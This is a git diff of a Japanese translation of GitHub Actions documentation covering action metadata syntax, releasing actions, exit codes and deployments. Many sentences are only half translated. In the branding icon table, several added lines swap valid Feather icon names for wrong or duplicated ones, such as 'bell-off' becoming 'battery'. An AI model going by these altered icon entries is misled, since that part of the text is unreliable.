+**オプション** デフォルト値を示す`文字列`。 デフォルト値は、入力パラメーターがワークフローファイルで指定されなかった場合に使われます。
 
 ### `inputs.<input_id>.deprecationMessage`
 
-**Optional** If the input parameter is used, this `string` is logged as a warning message. You can use this warning to notify users that the input is deprecated and mention any alternatives.
+**オプション** 入力パラメータが使用されている場合、この `string` は警告メッセージとしてログに記録されます。 この警告で入力が非推奨であることをユーザに通知し、その他の方法を知らせることができます。
 
 ## `outputs`
 
-**Optional** Output parameters allow you to declare data that an action sets. Actions that run later in a workflow can use the output data set in previously run actions.  For example, if you had an action that performed the addition of two inputs (x + y = z), the action could output the sum (z) for other actions to use as an input.
+**オプション** アクションが設定するデータを宣言できる出力パラメータ。 ワークフローで後に実行されるアクションは、先行して実行されたアクションが設定した出力データを利用できます。  たとえば、2つの入力を加算(x + y = z)するアクションがあれば、そのアクションは他のアクションが入力として利用できる合計値(z)を出力できます。
 
-If you don't declare an output in your action metadata file, you can still set outputs and use them in a workflow. For more information on setting outputs in an action, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)."
+メタデータファイル中でアクション内の出力を宣言しなくても、出力を設定してワークフロー中で利用することはできます。 アクション中での出力の設定に関する詳しい情報については「[{% data variables.product.prodname_actions %}のワークフローコマンド](/actions/reference/workflow-commands-for-github-actions/#setting-an-output-parameter)」を参照してください。
 
-### Example
+### サンプル
 
 ```yaml
 outputs:
-  sum: # id of the output
-    description: 'The sum of the inputs'
+  sum: # 出力のid
+    description: '入力の合計'
 ```
 
 ### `outputs.<output_id>`
 
-**Required** A `string` identifier to associate with the output. The value of `<output_id>` is a map of the output's metadata. The `<output_id>` must be a unique identifier within the `outputs` object. The `<output_id>` must start with a letter or `_` and contain only alphanumeric characters, `-`, or `_`.
+**必須** `文字列型`の識別子で、出力と結びつけられます。 `<output_id>`の値は、出力のメタデータのマップです。 `<output_id>`は、`outputs`オブジェクト内でユニークな識別子でなければなりません。 `<output_id>`は、文字あるいは`_`で始める必要があり、英数字、`-`、`_`しか使用できません。
 
 ### `outputs.<output_id>.description`
 
-**Required** A `string` description of the output parameter.
+**必須** 出力パラメーターの`文字列`での説明。
 
 ## `outputs` for composite actions
 
-**Optional** `outputs` use the same parameters as `outputs.<output_id>` and `outputs.<output_id>.description` (see "[`outputs` for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)"), but also includes the `value` token.
+**オプション** `outputs` `outputs.<output_id>` および `outputs.<output_id>.description`（「[{% data variables.product.prodname_actions %} の `outputs`](/actions/creating-actions/metadata-syntax-for-github-actions#outputs)」を参照）と同じパラメーターを使用しますが、`value` トークンも含まれます。
 
-### Example
+### サンプル
 
 {% raw %}
 ```yaml
@@ -128,7 +128,7 @@ runs:
 
 ### `outputs.<output_id>.value`
 
-**Required** The value that the output parameter will be mapped to. You can set this to a `string` or an expression with context. For example, you can use the `steps` context to set the `value` of an output to the output value of a step.
+**必須** 出力パラメーターがマップされる値。 これを `string` またはコンテキスト付きの式に設定できます。 たとえば、`steps` コンテキストを使用して、出力の `value` をステップの出力値に設定できます。
 
 For more information on how to use context syntax, see "[Contexts](/actions/learn-github-actions/contexts)."
 
@@ -136,7 +136,7 @@ For more information on how to use context syntax, see "[Contexts](/actions/lear
 
 **Required** Specifies whether this is a JavaScript action, a composite action or a Docker action and how the action is executed.
 
-## `runs` for JavaScript actions
+## JavaScriptアクションのための`runs`
 
 **Required** Configures the path to the action's code and the runtime used to execute the code.
 
@@ -150,20 +150,20 @@ runs:
 
 ### `runs.using`
 
-**Required** The runtime used to execute the code specified in [`main`](#runsmain).  
+**Required** The runtime used to execute the code specified in [`main`](#runsmain).
 
 - Use `node12` for Node.js v12.{% ifversion fpt or ghes > 3.3 or ghae-issue-5504 or ghec %}
 - Use `node16` for Node.js v16.{% endif %}
 
 ### `runs.main`
 
-**Required** The file that contains your action code. The runtime specified in [`using`](#runsusing) executes this file.
+**必須** アクションのコードを含むファイル。 The runtime specified in [`using`](#runsusing) executes this file.
 
 ### `pre`
 
-**Optional** Allows you to run a script at the start of a job, before the `main:` action begins. For example, you can use `pre:` to run a prerequisite setup script. The runtime specified with the [`using`](#runsusing) syntax will execute this file. The `pre:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**オプション** `main:`アクションが開始される前の、ジョブの開始時点でスクリプトを実行できるようにします。 たとえば、`pre:`を使って必要なセットアップスクリプトを実行できます。 The runtime specified with the [`using`](#runsusing) syntax will execute this file. `pre:`アクションはデフォルトで常に実行されますが、[`pre-if`](#pre-if)を使ってこれをオーバーライドすることができます。
 
-In this example, the `pre:` action runs a script called `setup.js`:
+この例では、`pre:`アクションは`setup.js`というスクリプトを実行します。
 
 ```yaml
 runs:
@@ -175,11 +175,11 @@ runs:
 
 ### `pre-if`
 
-**Optional** Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. In `pre-if`, status check functions evaluate against the job's status, not the action's own status.
+**オプション** `pre:`アクションの実行条件を定義できるようにしてくれます。 `pre:`アクションは、`pre-if`内の条件が満たされたときにのみ実行されます。 設定されなかった場合、`pre-if`のデフォルトは`always()`になります。 In `pre-if`, status check functions evaluate against the job's status, not the action's own status.
 
-Note that the `step` context is unavailable, as no steps have run yet.
+まだステップは実行されていないので、`step`コンテキストは利用できないことに注意してください。
 
-In this example, `cleanup.js` only runs on Linux-based runners:
+以下の例では、`cleanup.js`はLinuxベースのランナー上でのみ実行されます。
 
 ```yaml
   pre: 'cleanup.js'
@@ -188,9 +188,9 @@ In this example, `cleanup.js` only runs on Linux-based runners:
 
 ### `post`
 
-**Optional** Allows you to run a script at the end of a job, once the `main:` action has completed. For example, you can use `post:` to terminate certain processes or remove unneeded files. The runtime specified with the [`using`](#runsusing) syntax will execute this file.
+**オプション** `main:`アクションの終了後、ジョブの終わりにスクリプトを実行できるようにします。 たとえば、`post:`を使って特定のプロセスを終了させたり、不要なファイルを削除したりできます。 The runtime specified with the [`using`](#runsusing) syntax will execute this file.
 
-In this example, the `post:` action runs a script called `cleanup.js`:
+この例では、`post:`アクションは`cleanup.js`というスクリプトを実行します。
 
 ```yaml
 runs:
@@ -199,13 +199,13 @@ runs:
   post: 'cleanup.js'
 ```
 
-The `post:` action always runs by default but you can override this using `post-if`.
+`post:`アクションはデフォルトで常に実行されますが、`post-if`を使ってこれをオーバーライドすることができます。
 
 ### `post-if`
 
-**Optional** Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`. In `post-if`, status check functions evaluate against the job's status, not the action's own status.
+**オプション** `post:`アクションの実行条件を定義できるようにしてくれます。 `post:`アクションは、`post-if`内の条件が満たされたときにのみ実行されます。 設定されなかった場合、`post-if`のデフォルトは`always()`になります。 In `post-if`, status check functions evaluate against the job's status, not the action's own status.
 
-For example, this `cleanup.js` will only run on Linux-based runners:
+たとえば、この`cleanup.js`はLinuxベースのランナー上でのみ実行されます。
 
 ```yaml
   post: 'cleanup.js'
@@ -231,9 +231,9 @@ For example, this `cleanup.js` will only run on Linux-based runners:
 #### `runs.steps[*].run`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The command you want to run. This can be inline or a script in your action repository:
+**Optional** The command you want to run. これは、インラインでも、アクションリポジトリ内のスクリプトでもかまいません。
 {% else %}
-**Required** The command you want to run. This can be inline or a script in your action repository:
+**必須** 実行するコマンド。 これは、インラインでも、アクションリポジトリ内のスクリプトでもかまいません。
 {% endif %}
 
 {% raw %}
@@ -246,7 +246,7 @@ runs:
 ```
 {% endraw %}
 
-Alternatively, you can use `$GITHUB_ACTION_PATH`:
+または、`$GITHUB_ACTION_PATH` を使用できます。
 
 ```yaml
 runs:
@@ -256,25 +256,25 @@ runs:
       shell: bash
 ```
 
-For more information, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+詳しい情報については、「[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)」を参照してください。
 
 #### `runs.steps[*].shell`
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
-**Optional** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+**Optional** The shell where you want to run the command. [こちら](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell)にリストされている任意のシェルを使用できます。 Required if `run` is set.
 {% else %}
-**Required** The shell where you want to run the command. You can use any of the shells listed [here](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell). Required if `run` is set.
+**必須** コマンドを実行するシェル。 [こちら](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsshell)にリストされている任意のシェルを使用できます。 Required if `run` is set.
 {% endif %}
 
 #### `runs.steps[*].if`
 
-**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.
+**Optional** You can use the `if` conditional to prevent a step from running unless a condition is met. 条件文を作成するには、サポートされている任意のコンテキストや式が使えます。
 
 {% data reusables.github-actions.expression-syntax-if %} For more information, see "[Expressions](/actions/learn-github-actions/expressions)."
 
 **Example: Using contexts**
 
- This step only runs when the event type is a `pull_request` and the event action is `unassigned`.
+ このステップは、イベントの種類が`pull_request`でイベントアクションが`unassigned`の場合にのみ実行されます。
 
  ```yaml
 steps:
@@ -301,27 +301,27 @@ steps:
 
 #### `runs.steps[*].id`
 
-**Optional** A unique identifier for the step. You can use the `id` to reference the step in contexts. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+**オプション** ステップの一意の識別子。 `id`を使って、コンテキストのステップを参照することができます。 詳細については、「[コンテキスト](/actions/learn-github-actions/contexts)」を参照してください。
 
 #### `runs.steps[*].env`
 
-**Optional**  Sets a `map` of environment variables for only that step. If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
+**オプション**  そのステップのみの環境変数の `map` を設定します。 If you want to modify the environment variable stored in the workflow, use `echo "{name}={value}" >> $GITHUB_ENV` in a composite step.
 
 #### `runs.steps[*].working-directory`
 
-**Optional**  Specifies the working directory where the command is run.
+**オプション**  コマンドを実行する作業ディレクトリを指定します。
 
 {% ifversion fpt or ghes > 3.2 or ghae-issue-4853 or ghec %}
 #### `runs.steps[*].uses`
 
-**Optional**  Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a [published Docker container image](https://hub.docker.com/).
+**Optional**  Selects an action to run as part of a step in your job. アクションとは、再利用可能なコードの単位です。 ワークフロー、パブリックリポジトリ、または[公開されているDockerコンテナイメージ](https://hub.docker.com/)と同じリポジトリで定義されているアクションを使用できます。
 
-We strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.
-- Using the commit SHA of a released action version is the safest for stability and security.
-- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.
-- Using the default branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.
+Git ref、SHA、またはDockerタグ番号を指定して、使用しているアクションのバージョンを含めることを強く推奨します。 バージョンを指定しないと、アクションのオーナーがアップデートを公開したときに、ワークフローが中断したり、予期せぬ動作をしたりすることがあります。
+- リリースされたアクションバージョンのコミットSHAを使用するのが、安定性とセキュリティのうえで最も安全です。
+- 特定のメジャーアクションバージョンを使用すると、互換性を維持したまま重要な修正とセキュリティパッチを受け取ることができます。 ワークフローが引き続き動作することも保証できます。
+- アクションのデフォルトブランチを使用すると便利なこともありますが、別のユーザが破壊的変更を加えた新しいメジャーバージョンをリリースすると、ワークフローが動作しなくなる場合があります。
 
-Some actions require inputs that you must set using the [`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith) keyword. Review the action's README file to determine the inputs required.
+入力が必要なアクションもあり、入力を[`with`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepswith)キーワードを使って設定する必要があります。 必要な入力を判断するには、アクションのREADMEファイルをお読みください。
 
 ```yaml
 runs:
@@ -347,7 +347,7 @@ runs:
 
 #### `runs.steps[*].with`
 
-**Optional**  A `map` of the input parameters defined by the action. Each input parameter is a key/value pair.  Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.
+**Optional**  A `map` of the input parameters defined by the action. 各入力パラメータはキー/値ペアです。  入力パラメータは環境変数として設定されます。 The variable is prefixed with INPUT_ and converted to upper case.
 
 ```yaml
 runs:
@@ -362,11 +362,11 @@ runs:
 ```
 {% endif %}
 
-## `runs` for Docker actions
+## Dockerアクションのための`runs`
 
-**Required** Configures the image used for the Docker action.
+**必須** Dockerアクションのために使われるイメージを設定します。
 
-### Example using a Dockerfile in your repository
+### リポジトリでのDockerfileの利用例
 
 ```yaml
 runs:
@@ -374,7 +374,7 @@ runs:
   image: 'Dockerfile'
 ```
 
-### Example using public Docker registry container
+### パブリックなDockerレジストリコンテナを利用する例
 
 ```yaml
 runs:
@@ -384,15 +384,15 @@ runs:
 
 ### `runs.using`
 
-**Required** You must set this value to `'docker'`.
+**必須** この値は`'docker'`に設定しなければなりません。
 
 ### `pre-entrypoint`
 
-**Optional** Allows you to run a script before the `entrypoint` action begins. For example, you can use `pre-entrypoint:` to run a prerequisite setup script. {% data variables.product.prodname_actions %} uses `docker run` to launch this action, and runs the script inside a new container that uses the same base image. This means that the runtime state is different from the main `entrypoint` container, and any states you require must be accessed in either the workspace, `HOME`, or as a `STATE_` variable. The `pre-entrypoint:` action always runs by default but you can override this using [`pre-if`](#pre-if).
+**オプション** `entrypoint`アクションが始まる前にスクリプトを実行できるようにしてくれます。 たとえば、`pre-entrypoint:`を使って必要なセットアップスクリプトを実行できます。 {% data variables.product.prodname_actions %}は`docker run`を使ってこのアクションを起動し、同じベースイメージを使う新しいコンテナ内でスクリプトを実行します。 これはすなわち、ランタイムの状態はメインの`entrypoint`コンテナとは異なるということで、必要な状態はワークスペースや`HOME`内、あるいは`STATE_`変数としてアクセスしなければなりません。 `pre-entrypoint:`アクションはデフォルトで常に実行されますが、[`pre-if`](#pre-if)を使ってこれをオーバーライドすることができます。
 
 The runtime specified with the [`using`](#runsusing) syntax will execute this file.
 
-In this example, the `pre-entrypoint:` action runs a script called `setup.sh`:
+この例では、`pre-entrypoint:`アクションは`setup.sh`というスクリプトを実行します。
 
 ```yaml
 runs:
@@ -406,21 +406,21 @@ runs:
 
 ### `runs.image`
 
-**Required** The Docker image to use as the container to run the action. The value can be the Docker base image name, a local `Dockerfile` in your repository, or a public image in Docker Hub or another registry. To reference a `Dockerfile` local to your repository, the file must be named `Dockerfile` and you must use a path relative to your action metadata file. The `docker` application will execute this file.
+**必須** アクションを実行するためにコンテナとして使われるDockerイメージ。 この値には、Dockerのベースイメージ名、自分のリポジトリ中のローカル`Dockerfile`、Docker Hubあるいはその他のレジストリ中のパブリックなイメージを指定できます。 リポジトリのローカルにある `Dockerfile` を参照するには、ファイルに `Dockerfile` という名前を付け、アクションメタデータファイルに相対的なパスを使用する必要があります。 `docker`アプリケーションがこのファイルを実行します。
 
 ### `runs.env`
 
-**Optional** Specifies a key/value map of environment variables to set in the container environment.
+**オプション** コンテナの環境に設定する環境変数のキー/値のマップを指定します。
 
 ### `runs.entrypoint`
 
-**Optional** Overrides the Docker `ENTRYPOINT` in the `Dockerfile`, or sets it if one wasn't already specified. Use `entrypoint` when the `Dockerfile` does not specify an `ENTRYPOINT` or you want to override the `ENTRYPOINT` instruction. If you omit `entrypoint`, the commands you specify in the Docker `ENTRYPOINT` instruction will execute. The Docker `ENTRYPOINT` instruction has a _shell_ form and _exec_ form. The Docker `ENTRYPOINT` documentation recommends using the _exec_ form of the `ENTRYPOINT` instruction.
+**オプション** `Dockerfile`中のDockerの`ENTRYPOINT`をオーバーライドします。あるいは、もしそれが指定されていなかった場合に設定します。 `entrypoint`は、`Dockerfile`で`ENTRYPOINT`が指定されていない場合や、`ENTRYPOINT`命令をオーバーライドしたい場合に使ってください。 `entrypoint`を省略すると、Dockerの`ENTRYPOINT`命令で指定されたコマンドが実行されます。 Dockerの`ENTRYPOINT`命令には、_shell_形式と_exec_形式があります。 Dockerの`ENTRYPOINT`のドキュメンテーションは、`ENTRYPOINT`の_exec_形式を使うことを勧めています。
 
-For more information about how the `entrypoint` executes, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)."
+`entrypoint`の実行に関する詳しい情報については、「[{% data variables.product.prodname_actions %}のDockerfileサポート](/actions/creating-actions/dockerfile-support-for-github-actions/#entrypoint)」を参照してください。
 
 ### `post-entrypoint`
 
-**Optional**  Allows you to run a cleanup script once the `runs.entrypoint` action has completed. {% data variables.product.prodname_actions %} uses `docker run` to launch this action. Because  {% data variables.product.prodname_actions %} runs the script inside a new container using the same base image, the runtime state is different from the main `entrypoint` container. You can access any state you need in either the workspace, `HOME`, or as a `STATE_` variable. The `post-entrypoint:` action always runs by default but you can override this using [`post-if`](#post-if).
+**オプション** `run.entrypoint`アクションが完了した後に、クリーンアップスクリプトを実行できるようにしてくれます。 {% data variables.product.prodname_actions %}はこのアクションを起動するのに`docker run`を使います。 {% data variables.product.prodname_actions %}はスクリプトを同じベースイメージを使って新しいコンテナ内で実行するので、ランタイムの状態はメインの`entrypoint`コンテナとは異なります。 必要な状態には、ワークスペースや`HOME`内、あるいは`STATE_`変数としてアクセスできます。 `post-entrypoint:`アクションはデフォルトで常に実行されますが、[`post-if`](#post-if)を使ってこれをオーバーライドすることができます。
 
 ```yaml
 runs:
@@ -434,17 +434,17 @@ runs:
 
 ### `runs.args`
 
-**Optional** An array of strings that define the inputs for a Docker container. Inputs can include hardcoded strings. {% data variables.product.prodname_dotcom %} passes the `args` to the container's `ENTRYPOINT` when the container starts up.
+**オプション** Dockerコンテナへの入力を定義する文字列の配列。 入力には、ハードコードされた文字列を含めることができます。 {% data variables.product.prodname_dotcom %}は、コンテナの起動時に`args`をコンテナの`ENTRYPOINT`に渡します。
 
-The `args` are used in place of the `CMD` instruction in a `Dockerfile`. If you use `CMD` in your `Dockerfile`, use the guidelines ordered by preference:
+`args`は、`Dockerfile`中の`CMD`命令の場所で使われます。 `Dockerfile`中で`CMD`を使うなら、以下の優先順位順のガイドラインを利用してください。
 
 {% data reusables.github-actions.dockerfile-guidelines %}
 
-If you need to pass environment variables into an action, make sure your action runs a command shell to perform variable substitution. For example, if your `entrypoint` attribute is set to `"sh -c"`, `args` will be run in a command shell. Alternatively, if your `Dockerfile` uses an `ENTRYPOINT` to run the same command (`"sh -c"`), `args` will execute in a command shell.
+環境変数をアクションに渡す必要がある場合は、変数置換を行えるようアクションがコマンドシェルで実行されていることを確認してください。 たとえば、`entrypoint`属性が`"sh -c"`に設定されているなら、`args`はコマンドシェル内で実行されます。 あるいは、`Dockerfile`が`ENTRYPOINT`を使って同じコマンド（`"sh -c"`）を実行しているなら、`args`はコマンドシェル内で実行されます。
 
-For more information about using the `CMD` instruction with {% data variables.product.prodname_actions %}, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)."
+{% data variables.product.prodname_actions %}での`CMD`命令の利用に関する詳しい情報については、「[{% data variables.product.prodname_actions %}のDockerfileサポート](/actions/creating-actions/dockerfile-support-for-github-actions/#cmd)」を参照してください。
 
-#### Example
+#### サンプル
 
 {% raw %}
 ```yaml
@@ -460,9 +460,9 @@ runs:
 
 ## `branding`
 
-You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
+アクションをパーソナライズして見分けられるようにするために、カラーと[Feather](https://feathericons.com/)アイコンを使ってバッジを作ることができます。 バッジは、[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions)内のアクション名の隣に表示されます。
 
-### Example
+### サンプル
 
 ```yaml
 branding:
@@ -472,11 +472,11 @@ branding:
 
 ### `branding.color`
 
-The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`.
+バッジの背景カラー。 `white`、`yellow`、`blue`、`green`、`orange`、`red`、`purple`、`gray-dark`のいずれか。
 
 ### `branding.icon`
 
-The name of the [Feather](https://feathericons.com/) icon to use.
+利用する[Feather](https://feathericons.com/)アイコンの名前。
 
 <table>
 <tr>
@@ -524,7 +524,7 @@ The name of the [Feather](https://feathericons.com/) icon to use.
 <tr>
 <td>battery-charging</td>
 <td>battery</td>
-<td>bell-off</td>
+<td>battery</td>
 <td>bell</td>
 </tr>
 <tr>
@@ -561,7 +561,8 @@ The name of the [Feather](https://feathericons.com/) icon to use.
 <td>chevrons-right</td>
 <td>chevrons-up</td>
 <td>circle</td>
-<td>clipboard</td>
+<td>clipboard
+</td>
 </tr>
 <tr>
 <td>clock</td>
@@ -584,7 +585,7 @@ The name of the [Feather](https://feathericons.com/) icon to use.
 <tr>
 <td>corner-down-right</td>
 <td>corner-left-down</td>
-<td>corner-left-up</td>
+<td>corner-left-down</td>
 <td>corner-right-down</td>
 </tr>
 <tr>
@@ -788,7 +789,7 @@ The name of the [Feather](https://feathericons.com/) icon to use.
 <tr>
 <td>speaker</td>
 <td>square</td>
-<td>star</td>
+<td>Star</td>
 <td>stop-circle</td>
 </tr>
 <tr>
@@ -848,7 +849,7 @@ The name of the [Feather](https://feathericons.com/) icon to use.
 <tr>
 <td>volume-x</td>
 <td>volume</td>
-<td>watch</td>
+<td>Watch</td>
 <td>wifi-off</td>
 </tr>
 <tr>
diff --git a/translations/ja-JP/content/actions/creating-actions/releasing-and-maintaining-actions.md b/translations/ja-JP/content/actions/creating-actions/releasing-and-maintaining-actions.md
index a75f639e0f..41fc86a56c 100644
--- a/translations/ja-JP/content/actions/creating-actions/releasing-and-maintaining-actions.md
+++ b/translations/ja-JP/content/actions/creating-actions/releasing-and-maintaining-actions.md
@@ -17,7 +17,7 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 After you create an action, you'll want to continue releasing new features while working with community contributions. This tutorial describes an example process you can follow to release and maintain actions in open source. The example:
 
@@ -72,7 +72,7 @@ Here is an example process that you can follow to automatically run tests, creat
 
    * We recommend creating releases using semantically versioned tags – for example, `v1.1.3` – and keeping major (`v1`) and minor (`v1.1`) tags current to the latest appropriate commit. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#using-release-management-for-actions)" and "[About semantic versioning](https://docs.npmjs.com/about-semantic-versioning).
 
-### Results
+### 結果
 
 Unlike some other automated release management strategies, this process intentionally does not commit dependencies to the `main` branch, only to the tagged release commits. By doing so, you encourage users of your action to reference named tags or `sha`s, and you help ensure the security of third party pull requests by doing the build yourself during a release.
 
@@ -82,12 +82,12 @@ Using semantic releases means that the users of your actions can pin their workf
 
 {% data variables.product.product_name %} provides tools and guides to help you work with the open source community. Here are a few tools we recommend setting up for healthy bidirectional communication. By providing the following signals to the community, you encourage others to use, modify, and contribute to your action:
 
-* Maintain a `README` with plenty of usage examples and guidance. For more information, see "[About READMEs](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)."
+* Maintain a `README` with plenty of usage examples and guidance. 詳しい情報については「[README について](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes)」を参照してください。
 * Include a workflow status badge in your `README` file. For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)." Also visit [shields.io](https://shields.io/) to learn about other badges that you can add.{% ifversion fpt or ghec %}
 * Add community health files like `CODE_OF_CONDUCT`, `CONTRIBUTING`, and `SECURITY`. For more information, see "[Creating a default community health file](/github/building-a-strong-community/creating-a-default-community-health-file#supported-file-types)."{% endif %}
 * Keep issues current by utilizing actions like [actions/stale](https://github.com/actions/stale).
 
-## Further reading
+## 参考リンク
 
 Examples where similar patterns are employed include:
 
diff --git a/translations/ja-JP/content/actions/creating-actions/setting-exit-codes-for-actions.md b/translations/ja-JP/content/actions/creating-actions/setting-exit-codes-for-actions.md
index 1b8f685951..a5d8d0dc36 100644
--- a/translations/ja-JP/content/actions/creating-actions/setting-exit-codes-for-actions.md
+++ b/translations/ja-JP/content/actions/creating-actions/setting-exit-codes-for-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Setting exit codes for actions
-shortTitle: Setting exit codes
-intro: 'You can use exit codes to set the status of an action. {% data variables.product.prodname_dotcom %} displays statuses to indicate passing or failing actions.'
+title: アクションの終了コードの設定
+shortTitle: 終了コードの設定
+intro: '終了コードを使って、アクションのステータスを設定できます。 {% data variables.product.prodname_dotcom %}は、パスした、あるいは失敗したアクションを示すステータスを表示します。'
 redirect_from:
   - /actions/building-actions/setting-exit-codes-for-actions
 versions:
@@ -15,18 +15,18 @@ type: how_to
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About exit codes
+## 終了コードについて
 
-{% data variables.product.prodname_dotcom %} uses the exit code to set the action's check run status, which can be `success` or `failure`.
+{% data variables.product.prodname_dotcom %} は、終了コードを使用して、アクションのチェック実行ステータスを設定します。これは、`success` または`failure` のいずれかです。
 
-Exit status | Check run status | Description
-------------|------------------|------------
-`0` | `success` | The action completed successfully and other tasks that depends on it can begin.
-Nonzero value (any integer but 0)| `failure` | Any other exit code indicates the action failed. When an action fails, all concurrent actions are canceled and future actions are skipped. The check run and check suite both get a `failure` status.
+| 終了ステータス             | チェック実行ステータス | 説明                                                                                                                            |
+| ------------------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------- |
+| `0`                 | `success`   | アクションが正常に完了し、それに依存する他のタスクを開始できます。                                                                                             |
+| ゼロ以外の値 (0 以外の任意の整数) | `failure`   | その他の終了コードは、アクションの失敗を表します。 アクションが失敗すると、同時に実行されていたアクションはすべてキャンセルされ、今後のアクションはスキップされます。 チェック実行とチェックスイートはどちらも、`failure`ステータスになります。 |
 
-## Setting a failure exit code in a JavaScript action
+## JavaScript アクションで失敗終了を設定する
 
-If you are creating a JavaScript action, you can use the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failure exit code. For example:
+JavaScript アクションを作成している場合、アクションツールキットの [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) パッケージを使用してメッセージをログに記録し、失敗終了コードを設定できます。 例:
 
 ```javascript
 try {
@@ -36,11 +36,11 @@ try {
 }
 ```
 
-For more information, see "[Creating a JavaScript action](/articles/creating-a-javascript-action)."
+詳しい情報については「[JavaScript アクションを作成する](/articles/creating-a-javascript-action)」を参照してください。
 
-## Setting a failure exit code in a Docker container action
+## Docker コンテナアクションで失敗終了コードを設定する
 
-If you are creating a Docker container action, you can set a failure exit code in your `entrypoint.sh` script. For example:
+Docker コンテナアクションを作成している場合、失敗終了コードを `entrypoint.sh` スクリプトで設定できます。 例:
 
 ```
 if <condition> ; then
@@ -49,4 +49,4 @@ if <condition> ; then
 fi
 ```
 
-For more information, see "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+詳しい情報については「[Docker コンテナアクションを作成する](/articles/creating-a-docker-container-action)」を参照してください。
diff --git a/translations/ja-JP/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/ja-JP/content/actions/deployment/about-deployments/about-continuous-deployment.md
index e941449aa8..044a324ecc 100644
--- a/translations/ja-JP/content/actions/deployment/about-deployments/about-continuous-deployment.md
+++ b/translations/ja-JP/content/actions/deployment/about-deployments/about-continuous-deployment.md
@@ -46,7 +46,7 @@ You can configure your CD workflow to run when a {% data variables.product.produ
 
 {% ifversion fpt or ghae or ghes > 3.0 or ghec %}
 
-## Further reading
+## 参考リンク
 
 - [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)
 - [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
diff --git a/translations/ja-JP/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/ja-JP/content/actions/deployment/about-deployments/deploying-with-github-actions.md
index 9bea24d6f4..748f92e65e 100644
--- a/translations/ja-JP/content/actions/deployment/about-deployments/deploying-with-github-actions.md
+++ b/translations/ja-JP/content/actions/deployment/about-deployments/deploying-with-github-actions.md
@@ -17,7 +17,7 @@ shortTitle: Deploy with GitHub Actions
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
 {% data variables.product.prodname_actions %} offers features that let you control deployments. You can:
 
@@ -27,9 +27,9 @@ shortTitle: Deploy with GitHub Actions
 
 For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)."
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+You should be familiar with the syntax for {% data variables.product.prodname_actions %}. 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
 ## Triggering your deployment
 
@@ -52,15 +52,15 @@ on:
   workflow_dispatch:
 ```
 
-For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。
 
-## Using environments
+## 環境の使用
 
 {% data reusables.actions.about-environments %}
 
 ## Using concurrency
 
